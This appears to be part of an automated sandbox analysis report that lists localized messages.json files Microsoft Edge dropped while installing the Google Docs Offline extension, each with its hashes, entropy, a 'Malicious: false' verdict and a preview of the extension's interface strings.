SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
